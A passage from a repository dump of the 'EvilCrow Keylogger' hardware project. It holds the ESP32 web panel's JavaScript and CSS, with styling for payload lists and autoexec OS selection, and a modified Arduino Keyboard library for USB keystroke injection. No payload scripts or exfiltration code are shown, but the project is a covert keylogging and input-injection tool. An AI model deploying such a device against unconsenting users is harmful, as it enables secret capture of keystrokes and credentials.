window.location.pathname; links.forEach(link => { if (link.getAttribute('href') === currentPath) { link.classList.add('active'); } else { link.classList.remove('active'); } }); } window.addEventListener('load', () => { isNavigating = false; document.body.classList.remove('page-loading'); }); function updateConnectionStatus(isOnline) { document.querySelectorAll('.status-indicator').forEach(indicator => { indicator.classList.toggle('status-online', isOnline); indicator.classList.toggle('status-offline', !isOnline); }); if (window.location.pathname !== '/') { document.querySelectorAll('.keylogger-logo').forEach(title => { title.classList.toggle('online', isOnline); title.classList.toggle('offline', !isOnline); }); } } function updateStats(data) { if (data.uptime) document.getElementById('uptime').innerText = formatUptime(data.uptime); if (data.cpu0) document.getElementById('cpu0').innerText = data.cpu0 + ' MHz'; if (data.cpu1) document.getElementById('cpu1').innerText = data.cpu1 + ' MHz'; if (data.temperature) document.getElementById('temperature').innerText = data.temperature.toFixed(1) + ' °C'; if (data.freespiffs) document.getElementById('freespiffs').innerText = formatBytes(data.freespiffs); if (data.totalram) document.getElementById('totalram').innerText = formatBytes(data.totalram); if (data.freeram) document.getElementById('freeram').innerText = formatBytes(data.freeram); updateConnectionStatus(true); } function formatBytes(bytes) { if (bytes === 0) return '0 Bytes'; const k = 1024; const sizes = ['Bytes', 'KB', 'MB', 'GB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } function formatUptime(seconds) { const days = Math.floor(seconds / 86400); const hours = Math.floor((seconds % 86400) / 3600); const minutes = Math.floor((seconds % 3600) / 60); const secs = seconds % 60; if (days > 0) return `${days}d ${hours}h ${minutes}m ${secs}s`; else if (hours > 0) return `${hours}h ${minutes}m ${secs}s`; else if (minutes > 0) return `${minutes}m ${secs}s`; else return `${secs}s`; } function showMessage(type, text) { const container = document.getElementById('global-toast') || document.createElement('div'); if (!container.id) { container.id = 'global-toast'; container.className = 'toast-container'; document.body.appendChild(container); } const toast = document.createElement('div'); toast.className = `toast-message ${type}`; const messageSpan = document.createElement('span'); messageSpan.textContent = text; const closeButton = document.createElement('span'); closeButton.className = 'toast-close'; closeButton.innerHTML = '×'; closeButton.onclick = () => { toast.style.animation = 'toastFadeOut 0.3s ease-out'; setTimeout(() => toast.remove(), 300); }; toast.appendChild(messageSpan); toast.appendChild(closeButton); container.appendChild(toast); const timer = setTimeout(() => { toast.style.animation = 'toastFadeOut 0.3s ease-out'; setTimeout(() => toast.remove(), 300); }, 5000); closeButton.onclick = () => { clearTimeout(timer); toast.style.animation = 'toastFadeOut 0.3s ease-out'; setTimeout(() => toast.remove(), 300); }; } document.addEventListener('touchstart', function(event) { if (event.touches.length > 1) event.preventDefault(); }, { passive: false }); document.addEventListener('gesturestart', function(e) { e.preventDefault(); }); document.addEventListener("DOMContentLoaded", function () { console.log('EvilCrow Keylogger - Initializing...'); setupNavigation(); isNavigating = false; document.body.classList.remove('page-loading'); setInterval(checkConnection, 5000); checkConnection(); console.log('EvilCrow Keylogger - Initialization complete'); }); if (document.readyState === 'complete' || document.readyState === 'interactive') { setTimeout(() => { if (typeof setupNavigation === 'function') setupNavigation(); if (typeof checkConnection === 'function') { setInterval(checkConnection, 5000); checkConnection(); } }, 100); } )====="; ================================================ FILE: code/ESP32/style.h ================================================ const char Style[] PROGMEM = R"=====( :root { --primary: #00f2ff; --secondary: #00ff88; --accent: #ff00aa; --dark: #0a0a12; --darker: #050508; --light: #f0f0ff; /* Changed from #e0e0ff */ --success: #00ff88; --error: #ff0033; --warning: #ffaa00; } body { background-color: #000000; /* Pure black */ color: var(--light); font-family: 'Courier New', monospace; margin: 0; padding: 0; overflow-x: hidden; line-height: 1.6; } /* Header/Navigation - Mobile First */ #menu { background: var(--darker); border-bottom: 1px solid var(--primary); box-shadow: 0 0 15px rgba(0, 242, 255, 0.3); padding: 10px 0; position: relative; /* Changed from sticky to relative */ top: auto; /* Remove sticky positioning */ z-index: 100; } #menu ul { display: none; flex-direction: column; padding: 0; margin: 0; list-style: none; width: 100%; } #menu li { margin: 5px 0; position: relative; } #menu a { color: var(--light); text-decoration: none; padding: 10px 15px; display: block; transition: all 0.3s; position: relative; -webkit-tap-highlight-color: transparent; touch-action: manipulation; /* Disable double-tap zoom */ } #menu a:hover { color: var(--primary); background: rgba(0, 242, 255, 0.1); will-change: width; } #menu a::after { content: ''; position: absolute; bottom: 0; left: 50%; transform: translateX(-50%); width: 0; height: 2px; background: var(--primary); transition: width 0.3s; } #menu a:hover::after { width: 70%; } #menu .usb-icon { vertical-align: middle; margin-right: 5px; } /* Active menu item */ #menu a.active { color: var(--primary); font-weight: bold; } #menu a.active::after { width: 70%; } /* Hamburger menu - Mobile - Left side */ #responsive-menu + label { display: block; cursor: pointer; padding: 5px 15px; position: absolute; top: 0; left: 0; z-index: 101; background: var(--darker); /* Add background to match menu */ } #responsive-menu + label::before { content: "☰"; font-size: 1.5em; color: var(--primary); } #responsive-menu:checked + label::before { content: "✕"; } #responsive-menu:checked ~ ul { display: flex; flex-direction: column; align-items: center; /* Center menu items */ text-align: center; /* Center text */ padding-top: 60px; /* Make space for hamburger */ } /* Adjust menu items for centered layout */ #responsive-menu:checked ~ ul li { width: 100%; text-align: center; } #responsive-menu:checked ~ ul a { justify-content: center; } /* Main content */ .view-container { -webkit-transform: translate3d(0,0,0); transform: translateZ(0); will-change: transform; background: rgba(10, 10, 18, 0.8); border: 1px solid var(--primary); border-radius: 5px; padding: 15px; margin-top: 20px; margin: 15px auto; max-width: 900px; box-shadow: 0 0 20px rgba(0, 242, 255, 0.1); position: relative; overflow: hidden; min-height: 350px; } .view-container::before { content: ""; position: absolute; top: 0; left: 0; width: 100%; height: 3px; background: linear-gradient(90deg, var(--primary), var(--secondary)); } /* Buttons */ button, input[type="submit"], input[type="button"] { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: var(--darker); border: none; padding: 5px 5px; font-weight: bold; border-radius: 3px; cursor: pointer; transition: all 0.3s; text-transform: uppercase; letter-spacing: 1px; position: relative; overflow: hidden; font-family: 'Courier New', monospace; font-size: 12px; margin: 5px; min-height: 44px; } button:hover, input[type="submit"]:hover, input[type="button"]:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4); } button::after { content: ""; position: absolute; top: 0; left: -100%; width: 100%; height: 100%; background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent); transition: 0.5s; } button:hover::after { left: 100%; } button[name="deleteWifiButton"], button[name="deleteUSBButton"], button[name="deleteBackupWifiButton"], button[name="clearCacheButton"] { background: linear-gradient(135deg, var(--error), #cc0022); } button[name="deleteAllPayloads"] { background: linear-gradient(135deg, var(--error), #cc0022); min-width: auto; margin: 0; width: auto; flex-shrink: 0; white-space: nowrap; /* Prevent text wrapping */ } /* Input fields - Improved for mobile */ /* Form inputs - one line height */ input:not([type="checkbox"]):not([type="file"]), select { height: 36px; /* Fixed height for single-line inputs */ padding: 8px 12px; line-height: 1.2; } textarea { min-height: 100px; /* Keep textareas taller */ resize: none; } * { -webkit-tap-highlight-color: transparent; } .single-line-input { height: 36px !important; line-height: 36px !important; padding: 0 12px !important; } input, textarea, select { background: rgba(0, 0, 0, 0.3); border: 1px solid var(--primary); color: var(--light); padding: 8px 12px; border-radius: 3px; width: 100%; margin-bottom: 12px; font-family: 'Courier New', monospace; transition: all 0.3s; box-sizing: border-box; font-size: 16px !important; } input:focus, textarea:focus, select:focus { outline: none; border-color: var(--secondary); box-shadow: 0 0 10px rgba(0, 255, 136, 0.3); }*/ input[type="checkbox"] { width: auto; margin-right: 10px; } /* Form groups - Improved spacing */ .form-group { margin-bottom: 15px; } .form-group label { display: block; margin-top: 10px; margin-bottom: 6px; color: var(--primary); font-weight: bold; font-size: 1em; } /* Validation styles */ #validationStatus { display: block; font-size: 0.85em; white-space: pre-wrap; font-family: 'Courier New', monospace; background-color: rgba(10, 10, 10, 0.9); padding: 8px; border-radius: 3px; border-left: 3px solid var(--error); margin-top: 5px; } .validation-ok { color: var(--success); border-left-color: var(--success) !important; } .validation-error { color: var(--error); } .validation-empty { color: #666; /* Gray color for empty state */ font-style: italic; display: block; /* Ensure it's visible */ } /* Desktop specific styles */ @media (min-width: 768px) { #validationStatus { padding-left: 30px; text-indent: -20px; line-height: 1.4; } #validationStatus::before { content: "→ "; color: var(--primary); margin-right: 5px; } } /* Mobile specific styles */ @media (max-width: 767px) { #validationStatus { padding-left: 15px; } } /* Payload list */ .payload-list-container { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 12px; margin: 15px 0; } .payload-item { border: 1px solid var(--primary); border-radius: 3px; padding: 12px; margin-bottom: 12px; background-color: rgba(10, 10, 10, 0.9); } .payload-desc { color: #aaa; font-size: 0.85em; margin: 8px 0; line-height: 1.4; max-height: 2.8em; /* 2 lines */ overflow: hidden; text-overflow: ellipsis; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; white-space: pre-line; } .payload-filename { color: #666; font-size: 0.75em; font-family: monospace; } .payload-item, .payload-item-os { border: 1px solid var(--primary); border-radius: 3px; padding: 12px; transition: all 0.3s; position: relative; background-color: rgba(10, 10, 10, 0.9); /* Darker than before */ } .payload-item:hover, .payload-item-os:hover { transform: translateY(-5px); box-shadow: 0 10px 20px rgba(0, 242, 255, 0.2); border-color: var(--secondary); } .payload-item::before, .payload-item-os::before { content: ""; position: absolute; top: 0; left: 0; width: 3px; height: 100%; background: linear-gradient(to bottom, var(--primary), var(--secondary)); } .payload-description-content { padding: 0 15px; text-align: left; font-size: 0.9em; line-height: 1.5; margin: 0; text-indent: 0; white-space: pre-line; } .payload-description-content p:first-child, .payload-description-content div:first-child { margin-top: 0; text-indent: 0; } .payload-description-header { text-align: center; padding: 12px; cursor: pointer; background: rgba(5, 5, 8, 0.7); border-bottom: 1px solid var(--primary); } /* Payload Description Styles */ .payload-description-container { border: 1px solid var(--primary); border-radius: 5px; margin: 15px 0; overflow: hidden; background: rgba(10, 10, 18, 0.8); } .payload-description-header { padding: 12px 15px; cursor: pointer; display: flex; justify-content: space-between; align-items: center; color: var(--primary); font-weight: bold; transition: all 0.3s; background: rgba(5, 5, 8, 0.7); } .payload-description-header:hover { background: rgba(0, 242, 255, 0.1); } .payload-description-content.expanded { max-height: 500px; overflow-y: auto; white-space: pre-line; } .toggle-icon { font-size: 0.8em; transition: transform 0.3s; margin-left: 10px; } .payload-filename { color: #666; font-size: 11px; font-family: monospace; } /* Terminal style elements */ .terminal-style, .payload-container pre, textarea.payload-input { border: 1px solid var(--primary); color: var(--secondary); padding: 12px; border-radius: 3px; font-family: 'Courier New', monospace; position: relative; width: 100%; overflow: auto; max-height: 80vh; height: 20em; resize: vertical; white-space: pre-wrap; word-wrap: break-word; box-sizing: border-box; background-color: rgba(10, 10, 10, 0.9); /* Darker than before */ } /* Toast notifications - Centered below menu */ .toast-container { position: fixed; top: 80px; /* Below the menu */ left: 0; right: 0; z-index: 1000; width: 90%; max-width: 400px; margin: 0 auto; text-align: center; } .toast-message { position: relative; padding: 15px 20px; margin-bottom: 10px; border-radius: 4px; color: white; box-shadow: 0 3px 10px rgba(0, 0, 0, 0.2); animation: toastSlideDown 0.3s ease-out; pointer-events: auto; display: flex; justify-content: space-between; align-items: center; background-color: var(--darker); border-top: 3px solid; /* Changed from border-left to border-top */ } @keyframes toastSlideDown { from { opacity: 0; transform: translateY(-30px); } to { opacity: 1; transform: translateY(0); } } @keyframes toastFadeOut { from { opacity: 1; transform: translateY(0); } to { opacity: 0; transform: translateY(-30px); } } .toast-message.success { border-top-color: var(--success); /* Changed from border-left */ color: var(--success); } .toast-message.error { border-top-color: var(--error); /* Changed from border-left */ color: var(--error); } .toast-message.warning { border-top-color: var(--warning); /* Changed from border-left */ color: var(--warning); } .toast-close { cursor: pointer; margin-left: 12px; font-size: 1.1em; color: inherit; } /* OS boxes for autoexec - Mobile optimized */ .os-container { display: flex; flex-wrap: wrap; justify-content: space-between; margin: 15px 0; gap: 12px; } .os-box { flex: 1 1 150px; min-height: 120px; border: 2px dashed var(--primary); border-radius: 5px; padding: 12px; background-color: rgba(51, 51, 51, 0.3); text-align: center; position: relative; transition: all 0.3s; } .os-box.highlight { border-color: var(--secondary); background-color: rgba(0, 122, 255, 0.1); } .os-box h3 { margin-top: 0; color: var(--primary); border-bottom: 1px solid var(--primary); padding-bottom: 5px; font-size: 16px; } .payload-preview { background-color: rgba(0, 0, 0, 0.5); border-radius: 5px; padding: 8px; margin: 8px 0; word-break: break-word; font-size: 13px; } .payload-item-os { position: relative; z-index: 1; margin-bottom: 5px; /* Ensure spacing between items */ } /* Command tables */ .command-table { width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 0.85em; color: var(--light); } .command-table th, .command-table td { padding: 6px 10px; border: 1px solid var(--primary); text-align: left; } .command-table th { background-color: rgba(68, 68, 68, 0.5); font-weight: bold; color: var(--primary); } .command-table tr:nth-child(even) { background-color: rgba(51, 51, 51, 0.3); } .command-table tr:hover { background-color: rgba(85, 85, 85, 0.3); } .command-cell { cursor: pointer; transition: background-color 0.2s; } .command-cell:hover { background-color: rgba(0, 122, 255, 0.2) !important; } /* Special Keylogger elements */ .keylogger-logo { -webkit-backface-visibility: hidden; -webkit-transform: translate3d(0,0,0); transform: translateZ(0); text-align: center; margin: 25px 0 15px 0; /* Increased top margin */ font-size: 2em; text-transform: uppercase; letter-spacing: 1px; color: var(--primary); text-shadow: 0 0 8px var(--primary); position: relative; z-index: 1; } .clickable-os { cursor: pointer; color: var(--primary); text-decoration: underline; transition: color 0.3s; } .clickable-os:hover { color: var(--secondary); } /* Button containers */ .button-container, .button-container-os { display: flex; flex-wrap: wrap; justify-content: center; gap: 8px; margin: 15px 0; } .button-container button, .button-container-os button { flex: auto; min-width: 100px; background: linear-gradient(135deg, var(--primary), var(--secondary)); color: var(--darker); border: none; padding: 10px 20px; font-weight: bold; border-radius: 3px; cursor: pointer; transition: all 0.3s; min-width: 100px; /* Fixed minimum width */ width: 100px; /* Fixed width */ text-transform: uppercase; letter-spacing: 1px; position: relative; overflow: hidden; font-family: 'Courier New', monospace; font-size: 14px; margin: 5px; min-height: 44px; white-space: nowrap; /* Prevent text wrapping */ margin-left: auto; /* Push to the right */ flex-shrink: 0; /* Prevent shrinking */ } .select-os-btn { /* Make button wider to accommodate longer text */ width: 140px; min-width: 140px; max-width: 140px; /* Visual styling */ background: linear-gradient(135deg, var(--primary), var(--secondary)); color: var(--darker); border: none; padding: 10px 8px; font-weight: bold; border-radius: 3px; cursor: pointer; transition: all 0.3s; /* Text styling */ text-transform: uppercase; letter-spacing: 1px; font-family: 'Courier New', monospace; font-size: 12px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; /* Positioning */ position: relative; margin: 0px; flex-shrink: 0; display: inline-flex; align-items: center; justify-content: center; margin-left: auto; } .button-container button:hover, .button-container-os button:hover, .select-os-btn:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4); } .button-container button::after, .button-container-os button::after, .select-os-btn::after { content: ""; position: absolute; top: 0; left: -100%; width: 100%; height: 100%; background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent); transition: 0.5s; } .button-container button:hover::after, .button-container-os button:hover::after, .select-os-btn:hover::after { left: 100%; } /* HR styling */ hr { border: none; height: 1px; background-color: var(--primary); margin: 15px 0; } /* Stat containers */ .stat-container { display: flex; flex-wrap: wrap; justify-content: center; gap: 12px; margin: 15px 0; } .stat-group { flex: 1 1 180px; border: 1px solid var(--primary); border-radius: 5px; padding: 12px; min-width: 0; background-color: rgba(10, 10, 10, 0.9); /* Darker than before */ } /* Form containers */ .config-container { background: rgba(51, 51, 51, 0.3); border: 1px solid var(--primary); border-radius: 5px; padding: 15px; margin: 15px auto; max-width: 600px; } /* Config page specific buttons */ .config-buttons-container { display: flex; justify-content: space-between; margin: 15px 0; width: 100%; } .config-buttons-container button { width: 48%; min-width: auto; margin: 0; } button[name="clearCacheButton"] { background: linear-gradient(135deg, var(--error), #cc0022); } button[name="rebootDeviceButton"] { background: linear-gradient(135deg, var(--warning), #ff6600); } /* Metadata form */ #metadataForm { background: rgba(51, 51, 51, 0.5); border: 1px solid var(--primary); border-radius: 5px; padding: 15px; margin: 15px 0; display: none; } /* Payload buttons */ a.pyaloadButton { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: var(--darker); border: none; padding: 10px 12px; font-weight: bold; border-radius: 3px; display: block; text-align: center; text-decoration: none; margin: 8px 0; transition: all 0.3s; } a.pyaloadButton:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4); } /* Responsive design */ /* Hide only the hamburger menu checkbox (not other inputs) */ #responsive-menu { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); white-space: nowrap; border: 0; } @media (min-width: 768px) { /* Show regular menu on desktop */ #menu ul { display: flex !important; /* Important to override the checked state */ flex-direction: row; justify-content: center; flex-wrap: wrap; } #menu li { margin: 0 15px; } /* Hide hamburger menu on desktop */ #responsive-menu, #responsive-menu + label { display: none !important; } /* Force menu to always be visible on desktop */ #menu ul { display: flex !important; flex-direction: row; } /* Hide hamburger menu on desktop */ #responsive-menu { display: none !important; } /* Adjust container sizes for desktop */ .view-container { padding: 20px; margin: 20px auto; min-height: 350px; } .os-box { flex: 1 1 200px; min-height: 150px; } .terminal-style, textarea.payload-input { height: 23em; } .keylogger-logo { -webkit-backface-visibility: hidden; -webkit-transform: translate3d(0,0,0); transform: translateZ(0); font-size: 2.5em; } } /* OS Selection Modal */ .os-modal { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.8); display: flex; justify-content: center; align-items: center; z-index: 10000; } .os-modal-content { background: var(--darker); border: 2px solid var(--primary); border-radius: 8px; padding: 20px; max-width: 90%; width: 400px; box-shadow: 0 0 20px rgba(0, 242, 255, 0.5); } .os-modal h3 { color: var(--primary); margin-top: 0; text-align: center; } .os-options { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; margin: 20px 0; } .os-options button { background: linear-gradient(135deg, var(--primary), var(--secondary)); color: var(--darker); border: none; padding: 12px; border-radius: 4px; font-weight: bold; cursor: pointer; transition: all 0.3s; } .os-options button:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(0, 242, 255, 0.4); } .close-modal { background: var(--error) !important; width: 100%; margin-top: 10px; } .payload-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; width: 100%; } /* Button container */ .header-buttons { display: flex; gap: 10px; } .payload-header strong { flex-grow: 1; /* Allow the text to take remaining space */ overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } .select-os-btn:hover { background: linear-gradient(135deg, #55616F, #73879F); } .status-indicator { display: inline-block; width: 12px; height: 12px; border-radius: 50%; margin-left: 8px; vertical-align: middle; } .status-online { background-color: var(--success); box-shadow: 0 0 8px var(--success); } .status-offline { background-color: var(--error); box-shadow: 0 0 8px var(--error); } /* Page title indicators */ .rf-logo::after { content: ''; display: inline-block; width: 10px; height: 10px; border-radius: 50%; margin-left: 12px; vertical-align: middle; } .rf-logo.online::after { background-color: var(--success); box-shadow: 0 0 6px var(--success); } .rf-logo.offline::after { background-color: var(--error); box-shadow: 0 0 6px var(--error); } @supports (-webkit-touch-callout: none) { .rf-logo { -webkit-text-stroke: 0.45px transparent; /* Safari anti-flicker hack */ } } @media (max-width: 480px) { .select-os-btn { width: 100px; min-width: 100px; max-width: 100px; padding: 6px 4px; font-size: 11px; } } .payload-list-container { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 15px; /* Increased gap */ margin: 15px 0; position: relative; z-index: 1; } .button-container button, .button-container-os button { width: 100%; } .stat-group { flex: 1 1 100%; } #validationStatus { font-size: 0.7em; display: inline-block; vertical-align: middle; } @media (max-width: 480px) { #validationStatus { font-size: 0.6em; /* Even smaller on mobile */ } } .validation-ok { color: var(--success); } .validation-error { color: var(--error); } .payload-editor-container { display: flex; position: relative; height: 20em; background-color: rgba(10, 10, 10, 0.9); border: 1px solid var(--primary); border-radius: 3px; overflow: hidden; } .payload-editor-container { display: flex; position: relative; height: 20em; background-color: rgba(10, 10, 10, 0.9); border: 1px solid var(--primary); border-radius: 3px; overflow: hidden; } .line-numbers { width: 30px; padding: 12px 5px 5px 10px; background-color: rgba(5, 5, 8, 0.7); color: #666; font-family: 'Courier New', monospace; font-size: 0.8em; text-align: right; user-select: none; overflow-y: scroll; -ms-overflow-style: none; scrollbar-width: none; border: none; line-height: 22px; height: 100%; box-sizing: border-box; } #livePayloadInput { flex: 1; border: none; border-radius: 0 3px 3px 0; padding: 12px; background-color: transparent; color: var(--secondary); line-height: 22px; resize: none; white-space: pre; overflow-x: auto; overflow-y: auto; height: 100%; box-sizing: border-box; font-family: 'Courier New', monospace; font-size: 0.95em; } /* Mobile styles remain exactly the same */ @media (max-width: 768px) { .payload-list-container { transition: filter 0.3s ease; } .modal-open .payload-list-container { filter: blur(2px); opacity: 0.7; } .payload-editor-container { height: 15em; } .line-numbers, #livePayloadInput { font-size: 14px; line-height: 1.4em; } .line-numbers { width: 25px; padding: 12px 3px 8px 5px; } } .line-numbers::-webkit-scrollbar { display: none; } .autocomplete-suggestion { position: absolute; color: var(--primary); pointer-events: none; font-family: 'Courier New', monospace; background-color: rgba(0, 0, 0, 0.9); padding: 2px 6px; border-radius: 3px; border: 1px solid var(--secondary); box-shadow: 0 0 5px rgba(0, 242, 255, 0.5); z-index: 1000; white-space: pre; font-weight: bold; } /* Command Reference Styles */ .command-reference, .keys-reference { background: rgba(10, 10, 18, 0.8); border: 1px solid var(--primary); border-radius: 5px; margin: 20px 0; overflow: hidden; } .command-reference-toggle, .keys-reference-toggle { padding: 15px; cursor: pointer; background: rgba(0, 0, 0, 0.3); color: var(--primary); font-weight: bold; display: flex; justify-content: space-between; align-items: center; } .command-reference-toggle:hover, .keys-reference-toggle:hover { background: rgba(0, 242, 255, 0.1); } .command-table-container, .keys-table-container { padding: 0 15px 15px; max-height: 300px; overflow-y: auto; } /* OS selector*/ .styled-select { background-color: rgba(10, 10, 10, 0.9); border: 1px solid var(--primary); color: var(--light); padding: 8px 12px; border-radius: 3px; width: 100%; font-family: 'Courier New', monospace; font-size: 16px; margin-bottom: 12px; transition: all 0.3s; box-sizing: border-box; /* Eliminar apariencia nativa */ appearance: none; -webkit-appearance: none; -moz-appearance: none; /* Ícono de flecha */ background-image: url("data:image/svg+xml,%3Csvg fill='%2300f2ff' height='24' viewBox='0 0 24 24' width='24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M7 10l5 5 5-5z'/%3E%3C/svg%3E"); background-repeat: no-repeat; background-position: right 12px center; background-size: 16px 16px; padding-right: 36px; /* Espacio para flecha */ } .styled-select:focus { outline: none; border-color: var(--secondary); box-shadow: 0 0 10px rgba(0, 255, 136, 0.3); } .section-header { font-size: 1.2em; color: var(--primary); margin: 20px 0 10px 0; padding-bottom: 5px; border-bottom: none; position: relative; text-transform: uppercase; letter-spacing: 1px; font-weight: bold; } .section-header::after { content: ''; position: absolute; bottom: 0; left: 0; width: 100%; height: 1px; background: linear-gradient(90deg, transparent, var(--primary), transparent); } .page-loading::before { content: ""; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(5, 5, 8, 0.9); z-index: 9999; -webkit-backdrop-filter: blur(2px); backdrop-filter: blur(2px); } .page-loading::after { content: "LOADING..."; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); color: var(--primary); font-family: 'Courier New', monospace; font-size: 1.2em; font-weight: bold; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 8px var(--primary); z-index: 10000; animation: pulse 1.5s infinite alternate; } @keyframes pulse { from { opacity: 0.7; text-shadow: 0 0 5px var(--primary); } to { opacity: 1; text-shadow: 0 0 15px var(--primary), 0 0 20px var(--secondary); } } /* iOS-specific touch improvements */ @media (hover: none) and (pointer: coarse) { #menu a { -webkit-tap-highlight-color: transparent; touch-action: manipulation; } body { -webkit-overflow-scrolling: touch; } } )====="; ================================================ FILE: code/ESP32/viewlog.h ================================================ const char ViewLog[] PROGMEM = R"=====( EvilCrow-Keylogger
Loading log...
)====="; ================================================ FILE: libraries/Keyboard/Readme.md ================================================ Arduino Keyboard library with multiple layout support ===================================================== Based on Arduino Keyboard library 1.0.1 This library allows an Arduino board with USB capabilites to act as a Keyboard. For more information about this library please visit http://www.arduino.cc/en/Reference/Keyboard Modified by Ernesto Sanchez to support multiple keyboard layout Supported layouts: * be_be * cz_cz * da_dk * de_de * en_us (default) * es_es * fi_fi * fr_fr * it_it * pt_pt * tr_tr __NOTE:__ Only en_us and es_es are tested at june 2017. Download and installation ========================= - Click "Clone or download" -> "Download ZIP" - Unzip downloaded file in Arduino/libraries/ directory Use === To configure the keyboard layout it just add #define kbd_lang after #include Example: ``` #define kbd_es_es #include ``` You can use: * kbd_be_be * kbd_cz_cz * kbd_da_dk * kbd_de_de * kbd_en_us * kbd_es_es * kbd_fi_fi * kbd_fr_fr * kbd_it_it * kbd_pt_pt * kbd_tr_tr If none is especified en_us is used by default. Version History =============== ``` (Date format: DD/MM/YYYY) * 8/7/2017 Fix backslash problem in es_es.h * 14/6/2017 First commit ``` TO DO ===== - Test all layouts - Implement a solution for extended ascii characters Contact ======= Open an issue, ask me on twitter to [@ernesto_xload](http://www.twitter.com/ernesto_xload/) or visit www.sanchezpano.info ================================================ FILE: libraries/Keyboard/keywords.txt ================================================ ####################################### # Syntax Coloring Map For Keyboard ####################################### ####################################### # Datatypes (KEYWORD1) ####################################### Keyboard KEYWORD1 ####################################### # Methods and Functions (KEYWORD2) ####################################### begin KEYWORD2 write KEYWORD2 press KEYWORD2 release KEYWORD2 releaseAll KEYWORD2 ####################################### # Constants (LITERAL1) ####################################### ================================================ FILE: libraries/Keyboard/library.properties ================================================ name=Keyboard version=1.0.1 author=Arduino maintainer=Ernesto Sanchez sentence=Allows an Arduino/Genuino board with USB capabilites to act as a Keyboard. paragraph=This library plugs on the HID library. It can be used with or without other HID-based libraries (Mouse, Gamepad etc) Modified by Ernesto Sanchez to add keyboard layout support category=Device Control url=http://www.arduino.cc/en/Reference/Keyboard architectures=* ================================================ FILE: libraries/Keyboard/src/Keyboard.cpp ================================================ /* Keyboard.cpp Copyright (c) 2015, Arduino LLC Original code (pre-library): Copyright (c) 2011, Peter Barrett This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "Keyboard.h" #if defined(_USING_HID) #define kbd_en_us /* #define kbd_es_es */ #ifdef kbd_be_be #include "be_be.h" #endif #ifdef kbd_cz_cz #include "cz_cz.h" #endif #ifdef kbd_da_dk #include "da_dk.h" #endif #ifdef kbd_de_de #include "de_de.h" #endif #ifdef kbd_es_es #include "es_es.h" #endif #ifdef kbd_fi_fi #include "fi_fi.h" #endif #ifdef kbd_fr_fr #include "fr_fr.h" #endif #ifdef kbd_it_it #include "it_it.h" #endif #ifdef kbd_pt_pt #include "pt_pt.h" #endif #ifdef kbd_tr_tr #include "tr_tr.h" #endif #ifndef _kbd_lang #include "en_us.h" #endif //================================================================================ //================================================================================ // Keyboard static const uint8_t _hidReportDescriptor[] PROGMEM = { // Keyboard 0x05, 0x01, // USAGE_PAGE (Generic Desktop) // 47 0x09, 0x06, // USAGE (Keyboard) 0xa1, 0x01, // COLLECTION (Application) 0x85, 0x02, // REPORT_ID (2) 0x05, 0x07, // USAGE_PAGE (Keyboard) 0x19, 0xe0, // USAGE_MINIMUM (Keyboard LeftControl) 0x29, 0xe7, // USAGE_MAXIMUM (Keyboard Right GUI) 0x15, 0x00, // LOGICAL_MINIMUM (0) 0x25, 0x01, // LOGICAL_MAXIMUM (1) 0x75, 0x01, // REPORT_SIZE (1) 0x95, 0x08, // REPORT_COUNT (8) 0x81, 0x02, // INPUT (Data,Var,Abs) 0x95, 0x01, // REPORT_COUNT (1) 0x75, 0x08, // REPORT_SIZE (8) 0x81, 0x03, // INPUT (Cnst,Var,Abs) 0x95, 0x06, // REPORT_COUNT (6) 0x75, 0x08, // REPORT_SIZE (8) 0x15, 0x00, // LOGICAL_MINIMUM (0) 0x25, 0x65, // LOGICAL_MAXIMUM (101) 0x05, 0x07, // USAGE_PAGE (Keyboard) 0x19, 0x00, // USAGE_MINIMUM (Reserved (no event indicated)) 0x29, 0x65, // USAGE_MAXIMUM (Keyboard Application) 0x81, 0x00, // INPUT (Data,Ary,Abs) 0xc0, // END_COLLECTION }; Keyboard_::Keyboard_(void) { static HIDSubDescriptor node(_hidReportDescriptor, sizeof(_hidReportDescriptor)); HID().AppendDescriptor(&node); } void Keyboard_::begin(void) { } void Keyboard_::end(void) { } void Keyboard_::sendReport(KeyReport* keys) { HID().SendReport(2,keys,sizeof(KeyReport)); } /* extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 #define ALTGR 0x40 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 